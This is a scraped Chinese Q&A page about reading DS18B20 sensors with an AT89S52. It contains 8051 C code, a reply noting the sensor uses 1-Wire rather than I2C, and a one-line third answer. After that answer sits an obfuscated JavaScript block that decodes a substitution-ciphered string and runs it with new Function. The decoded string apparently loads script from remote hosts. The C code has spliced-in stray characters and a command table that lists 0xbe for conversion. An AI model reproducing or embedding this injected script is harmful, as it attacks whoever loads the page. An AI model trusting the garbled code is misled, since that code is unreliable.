单片机用AT89S52,使用的温度传感器是18B20,可以测量并存储当前温度,使用I2C总线协议

2024-11-26 15:02:10
推荐回答(3个)
回答1:

这是我用51编写的,希望对你有帮助

//调用一次读取温度,所有点的温度值就都保存到数组中了,对这个数组就可以随意操作了
//实现多点采样,一个18b20占用一个I/O口,同样是采用轮询的方式采样,不过这里只有读取数据时是采用轮询的,
//写数据是同时进行的,直到发送温度转换指令,这就节省的很多时间,也就是轮询一次只需要等待原来的一次的转换时间,
//读取和原来独立是一样。(即同时转换,轮流读取)
#include "reg52.h"
#define uchar unsigned char
#define uint unsigned int
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////磨没////////////////////////////////////////////////////////////////////////////////////////////////////////////////////桐告////////////
/*********************************************************************************/
// 18b20子程局游明序
/*********************************************************************************/
/************************ROM操作命令代码:
读取ROM 0x33
匹配ROM 0x55 发送该命令后,接着发送64位ID编号,之后就可以直接发送操作命令,这时只有匹配的才做出响应。
搜索ROM 0xf0
跳过ROM 0xCC
告警搜索指令 0xec

*************************RAM操作命令代码:
温度转换 0xbe
读取暂存器 0xbe
写入暂存器 0x4e 发出向内部RAM 3、4字节写上下限温度数据命令 区分于写功能(用来写入所有指令的)
复制RAM到EEPROM 0x48 对RAM中第3、4字节的操作
恢复EEPROM到RAM 0xb8
读取供电方式 0xb4 寄生供电时18b20发回“0”,外接电源供电发回“1”。

**********************************************************************************/
/*********************************************************************************/
#define port P2 //定义18b20端口
sbit buzzer=P1^3; //蜂鸣器端口
unsigned char account; //定义全局变量
/**************************改变端口采样点用的数组*********************************/
unsigned char change[8]={0xfe,0xfd,0xfb,0xf7,0xef,0xdf,0xbf,0x7f} ;
unsigned char change2[8]={0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80} ;
/*********************************************************************************/
/**************************温度存储用数组*****************************************/
unsigned char save_temp[8]={0};
/*********************************************************************************/
//164显示程序
/*********************************************************************************/
unsigned char sheet[]={0x11,0x7D,0x23,0x29,0x4D,0x89,0x81,0x3D,0x01,0x09};
sbit disp_data=P1^0;
sbit disp_clk=P1^1;
void disp_164(unsigned int x)
{
unsigned char i,j=4,k;
while(j--)
{
k=sheet[x%10];
for(i=0;i<8;i++)
{
if(k&0x01)disp_data=1;
else disp_data=0;
disp_clk=0;disp_clk=1;disp_clk=0;
k=k>>1;
}
x/=10;
}
}
/*********************************************************************************/
//18b20初始化
/*********************************************************************************/
void Init18B20(void)
{
unsigned char qq=0;
port=0; //DQ=0;
qq=250;while(qq)qq--; //Delay15(33);//至少延时480us
port=0xff; //DQ=1;
qq=75;while(qq)qq--; //Delay15(10);//至少延时100us
//if(DQ==1) return 0; //初始化失败
// else return 1;
//DQ=1; Delay15(18);
}
/*********************************************************************************/
//18b20读取一个字节
/*********************************************************************************/
unsigned char Read18B20(void)
{
unsigned char i,temp,qq=0;
for(i=0;i<8;i++)
{
temp=temp>>1;
port&=change[account]; //DQ=0;
qq++; //_nop_();
port=0xff; //DQ=1;
qq=2;while(qq)qq--; //_nop_();_nop_();_nop_();_nop_();
if(port&change2[account]/*DQ==1*/)
{temp=temp|0x80;}
else
{temp=temp&0x7f;}
qq=15;while(qq)qq--; //Delay15(3);
port=0xff; //DQ=1;
}
return (temp);
}
/*********************************************************************************/
//18b20写一个字节
/*********************************************************************************/
void Write18B20(unsigned char temp)
{
unsigned char i,qq=0;
for(i=0;i<8;i++)
{
port=0; //port&=change[account];//DQ=0;
qq=7;while(qq)qq--; //Delay15(1);
if(temp&0x01)port=0xff; //DQ=ch&0x01;
else port=0; //port&=change[account];
qq=22;while(qq)qq--; //Delay15(3);
port=0xff; //DQ=1;
temp=temp>>1;
qq++; //_nop_();
}
}
/*********************************************************************************/
//读取温度值
/*********************************************************************************/
void get_temp()
{
unsigned char qq=0;
unsigned int TemH,TemL,temp,save=0,kk=0;
Init18B20();
Write18B20(0xCC); //跳过ROM
qq++; // _nop_();
Write18B20(0x44); //发送温度转换指令
qq=100;while(qq)qq--; //Delay10ms(25);//等待1s转换
Init18B20();
Write18B20(0xCC); //跳过ROM
Write18B20(0xBE); //发送温度转换指令
for(account=0;account<8;account++)//设定采样点的数量
{
TemL=Read18B20(); //读低位温度值
TemH=Read18B20(); //读高位温度值
//Delay10ms(2);
temp=(TemH<<4)|(TemL>>4);
if(save_temp[account]!=temp)
save_temp[account]=temp; //只有当前采样值和前一次不同时才保存
}

//return(TemH);
}
/*********************************************************************************/
/*********************************************************************************/
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/***************************************************************************************/
// 矩阵键盘
/***************************************************************************************/
/******************************************/////****************************************/
/*****需要修改的参数*****/
/******************************************/////****************************************/
sbit horizontal1=P3^2; sbit vertical1=P1^7;
sbit horizontal2=P3^3; sbit vertical2=P1^6;
sbit horizontal3=P3^4; sbit vertical3=P1^0;
sbit horizontal4=P3^5; sbit vertical4=P2^3;
sbit horizontal5=P0^3; sbit vertical5=P2^4;
sbit horizontal6=P0^5; sbit vertical6=P2^5;
sbit horizontal7=P0^6; sbit vertical7=P2^6;
sbit horizontal8=P0^7; sbit vertical8=P2^7;

#define HANG 4
#define LIE 1
//sbit buzzer=P1^3;
#define vertical_check vertical1//&vertical2 //只有列数变化时要进行修改
unsigned char code key_tab[HANG][LIE]={1,
2,
3,
4
};
/******************************************/////****************************************/
/******************************************/////****************************************/
/***************************************************************************************/
/***************************************************************************************/
void key_init()
{
horizontal1=1; vertical1=1;
horizontal2=1; //vertical2=1;
horizontal3=1; //vertical3=1;
horizontal4=1; //vertical4=1;
//horizontal5=1; vertical5=1;
//horizontal6=1; vertical6=1;
//horizontal7=1; vertical7=1;
//horizontal8=1; vertical8=1;

}

/***************************************************************************************/
/***************************************************************************************/
void key_check()
{
horizontal1=0; vertical1=1;
horizontal2=0; //vertical2=1;
horizontal3=0; //vertical3=1;
horizontal4=0; //vertical4=1;
//horizontal5=0; vertical5=1;
//horizontal6=0; vertical6=1;
//horizontal7=0; vertical7=1;
//horizontal8=0; vertical8=1;
}
/**************************************************************************************/
/**************************************************************************************/

unsigned char get_vertical()
{
unsigned char temp=LIE, vertical_temp=0;
if(vertical1)
{
//P0=0x0f;
vertical_temp++;
if(--temp==0)goto eend;
if(vertical2)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical3)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical4)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical5)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical6)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical7)
{
vertical_temp++;
if(--temp==0)goto eend;
if(vertical8)
{
goto eend;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;
}
else goto eend ;

eend: ;
return(vertical_temp);
}
/***************************************************************************************/
/***************************************************************************************/
unsigned char get_key()
{
unsigned char horizontal=0,vertical=0,key_resault;
unsigned char delay1,delay2,temp;
key_init();
key_check();
if(vertical_check) goto key_over; //判断是否有按键按下,有按键按下时vertical_check为0,没有按键按下时vertical_check不为0
buzzer=0;
delay1=250;
while(delay1){delay1--;delay2=4;while(delay2)delay2--;} //延时5ms
buzzer=1;
key_init();
key_check();
if(vertical_check) goto key_over;
key_init();
for(temp=0;temp {

switch(temp)
{
case 0:{horizontal1=0;vertical=get_vertical();break;} //判断第1行是否有按键按下
case 1:{horizontal2=0;vertical=get_vertical();break;} //判断第2行是否有按键按下
case 2:{horizontal3=0;vertical=get_vertical();break;} //判断第3行是否有按键按下
case 3:{horizontal4=0;vertical=get_vertical();break;} //判断第4行是否有按键按下
case 4:{horizontal5=0;vertical=get_vertical();break;} //判断第5行是否有按键按下
case 5:{horizontal6=0;vertical=get_vertical();break;} //判断第6行是否有按键按下
case 6:{horizontal7=0;vertical=get_vertical();break;} //判断第7行是否有按键按下
case 7:{horizontal8=0;vertical=get_vertical();break;} //判断第8行是否有按键按下
default:break;
}
if(vertical==LIE) // 该行没有检测到按键按下,进行下一行
{
horizontal++;
}
else //检测到该行有按键按下,就要跳出不再检测了
{
key_resault=key_tab[horizontal][vertical]; goto key_over;
}
}

key_over:
return(key_resault);
}
/***************************************************************************************/
main()
{
unsigned char i=0,temp;
unsigned int kk=0;
while(1)
{
// for(j=0;j<6;j++) //设置要显示的采样点的数量
{

get_temp(); //调用一次读取温度,所有点的温度值就都保存到数组中了,接下来就可以随意的显示了
/*i++;
if(i!=50) goto tiaozhuan; //相当于延时
{
i=0;
P0=change[j]; //LED指示采样点的位置
buzzer=0; //蜂蜜器提示
kk=5000;
while(kk)kk--;
buzzer=1;
//disp_164(save_temp[j]);
} */
}
temp=get_key();
disp_164(save_temp[temp]);
}
}

回答2:

18B20,我记码带得应该是1-WIRE总迟扰芦线,即单线总线。你李袜应该还少了一个EEPROM吧?I2C总线应该是对存储器进行数据传输的协议吧?这种程序网上应该有的,你搜索一下。

回答3:

h我可以做的

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();